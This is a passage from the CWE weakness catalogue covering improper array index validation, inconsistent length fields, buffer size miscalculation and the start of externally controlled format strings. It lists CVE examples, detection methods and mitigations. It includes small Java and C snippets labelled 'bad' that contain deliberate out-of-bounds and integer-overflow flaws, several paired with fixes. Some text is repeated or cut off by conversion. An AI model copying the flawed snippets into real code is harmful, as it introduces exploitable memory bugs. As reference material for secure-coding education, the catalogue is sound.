Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples**Example 1:**

In the code snippet below, an untrusted integer value is used to reference an object in an array.

Example Language: Java

(bad)

```
public String getValue(int index) {  
    return array[index];  
}
```

```
}

```

If index is outside of the range of the array, this may result in an `ArrayIndexOutOfBoundsException` Exception being raised.

Example 2:

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

Example Language: Java

(bad)

```
private void buildList ( int untrustedListSize ){
    if ( 0 > untrustedListSize ){
        die("Negative value supplied for list size, die evil hacker!");
    }
    Widget[] list = new Widget [ untrustedListSize ];
    list[0] = new Widget();
}
```

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new `Widget` in the first location, causing an exception to be thrown.

Example 3:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C

(bad)

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C

(good)

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
    ...
}
```

Example 4:

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

Example Language: C

(bad)

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2)
            sizes[num - 1] = size;
    }
    ...
}
```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: C

(good)

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            if (num > 0 && num <= (unsigned)count)
                sizes[num - 1] = size;
            else
                /* warn about possible attempt to induce buffer overflow */
                report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
        }
    }
    ...
}
```

Example 5:

In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the

getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

Example Language: Java

(bad)

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}
```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: Java

(good)

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
    else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}
```

An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

Example Language: Java

(good)

```
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

Example 6:

The following example asks a user for an offset into an array to select an item.

Example Language: C

(bad)

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
```

```
printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2005-0369 | large ID in packet used as array index https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0369 |

Notes

Relationship

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

Theoretical

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."

Taxonomy Mappings

CWE-130: Improper Handling of Length Parameter Inconsistency

Weakness ID : 130

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.

Extended Description

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

length tampering :

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-------------------|------------|
| Confidentiality | Read Memory | |
| Integrity | Modify Memory | |
| | Varies by Context | |

Potential Mitigations

Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

Phase: Implementation

Do not let the user control the size of the buffer.

Phase: Implementation

Validate that the length of the user-supplied data is consistent with the buffer size.

Demonstrative Examples

Example 1:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C

(bad)

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possiblity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2014-0160 | Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 |

| Reference | Description |
|----------------------|--|
| CVE-2009-2299 | Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2299 |
| CVE-2001-0825 | Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0825 |
| CVE-2001-1186 | Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1186 |
| CVE-2001-0191 | Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0191 |
| CVE-2003-0429 | Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0429 |
| CVE-2000-0655 | Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0655 |
| CVE-2004-0492 | Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0492 |
| CVE-2004-0201 | Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a .CHM file with a large length field https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0201 |
| CVE-2003-0825 | Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0825 |
| CVE-2004-0095 | Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0095 |
| CVE-2004-0826 | Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0826 |
| CVE-2004-0808 | When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0808 |
| CVE-2002-1357 | Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1357 |
| CVE-2004-0774 | Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0774 |

| Reference | Description |
|----------------------|--|
| CVE-2004-0989 | Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0989 |
| CVE-2004-0568 | Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0568 |
| CVE-2003-0327 | Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0327 |
| CVE-2003-0345 | Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0345 |
| CVE-2004-0430 | Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0430 |
| CVE-2005-0064 | PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0064 |
| CVE-2004-0413 | SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0413 |
| CVE-2004-0940 | Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0940 |
| CVE-2002-1235 | Length field of a request not verified. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1235 |
| CVE-2005-3184 | Buffer overflow by modifying a length value. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3184 |
| SECUNIA:18747 | Length field inconsistency crashes cell phone. http://secunia.com/advisories/18747/ |

| Scope | Impact | Likelihood |
|-----------|------------------------------|------------|
| Integrity | DoS: Crash, Exit, or Restart | |

| Scope | Impact | Likelihood |
|---------------------------------|--|------------|
| Availability Confidentiality | Execute Unauthorized Code or Commands Read Memory Modify Memory <i>If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.</i> | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary
Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial
coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &
anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial
coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source
Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective:
Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost
effective for partial coverage: Source Code Quality Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective:
Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE
1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When allocating a buffer for the purpose of transforming, converting, or encoding an input,
allocate enough memory to handle the largest possible encoding. For example, in a routine that
converts "&" characters to "&" for HTML entity encoding, the output buffer needs to be at
least 5 times as large as the input buffer.

Phase: Implementation

Understand the programming language's underlying representation and how it interacts with
numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision,
signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number"
calculations, and how the language handles numbers that are too large or too small for its
underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other
potential differences that may affect the numeric representation.

Phase: Implementation

Strategy = Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range.
Enforce that the input meets both the minimum and maximum requirements for the expected
range.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are
duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side

checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

Phase: Implementation

When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness = Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131). Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion issues are still possible.

Phase: Implementation

Use sizeof() on the appropriate data type to avoid CWE-467.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify validation and will reduce surprises related to unexpected casting.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-61] [REF-60].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Strategy = Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as

restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using `InitializeWidget()`. Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C

(bad)

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests `MAX_NUM_WIDGETS`, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:

The following image processing code allocates a table for images.

Example Language: C

(bad)

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size `num_imgs`, however as `num_imgs` grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were `num_imgs` long, it may result in many types of out-of-bounds problems (CWE-119).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
}
```

```

dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
    if( '&' == user_supplied_string[i] ){
        dst_buf[dst_index++] = '&';
        dst_buf[dst_index++] = 'a';
        dst_buf[dst_index++] = 'm';
        dst_buf[dst_index++] = 'p';
        dst_buf[dst_index++] = ';';
    }
    else if ('<' == user_supplied_string[i] ){
        /* encode to &lt; */
    }
    else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C

(bad)

```

DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);

```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 5:

The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().

Example Language: C

(bad)

```

int *id_sequence;
/* Allocate space for an array of three ids. */
id_sequence = (int*) malloc(3);
if (id_sequence == NULL) exit(1);

```

```
/* Populate the id array. */
id_sequence[0] = 13579;
id_sequence[1] = 24680;
id_sequence[2] = 97531;
```

The problem with the code above is the value of the size parameter used during the `malloc()` call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of `id_sequence[0]` and would continue with the assignment of `id_sequence[1]` and `id_sequence[2]`.

The `malloc()` call could have used '`3*sizeof(int)`' as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

Notes

Maintenance

This is a broad category. Some examples include: simple math errors, incorrectly updating parallel counters, not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion"). This level of detail is rarely available in public reports, so it is difficult to find good examples.

Maintenance

This weakness may be a composite or a chain. It also may contain layering or perspective differences. This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-------------------|---|
| PLOVER | | | Other length calculation error |
| CERT C Secure Coding | INT30-C | Imprecise | Ensure that unsigned integer operations do not wrap |
| CERT C Secure Coding | MEM35-C | CWE More Abstract | Allocate sufficient memory for an object |

Related Attack Patterns

CWE-134: Use of Externally-Controlled Format String

Weakness ID : 134

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software uses a function that accepts a format string as an argument, but the format string originates from an external source.

Extended Description

When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Memory <i>Format string problems allow for information disclosure which can severely simplify exploitation of the program.</i> | |
| Integrity | Modify Memory | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| Availability | <i>Format string problems can result in the execution of arbitrary code.</i> | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box

Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source).

Effectiveness = Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Choose a language that is not subject to this flaw.

Phase: Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user, and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [REF-116] [REF-117]

Phase: Build and Compilation

Run compilers and linkers with high warning levels, since they may detect incorrect usage.

Demonstrative Examples

Example 1:

The following program prints a string provided as an argument.

Example Language: C

(bad)

```
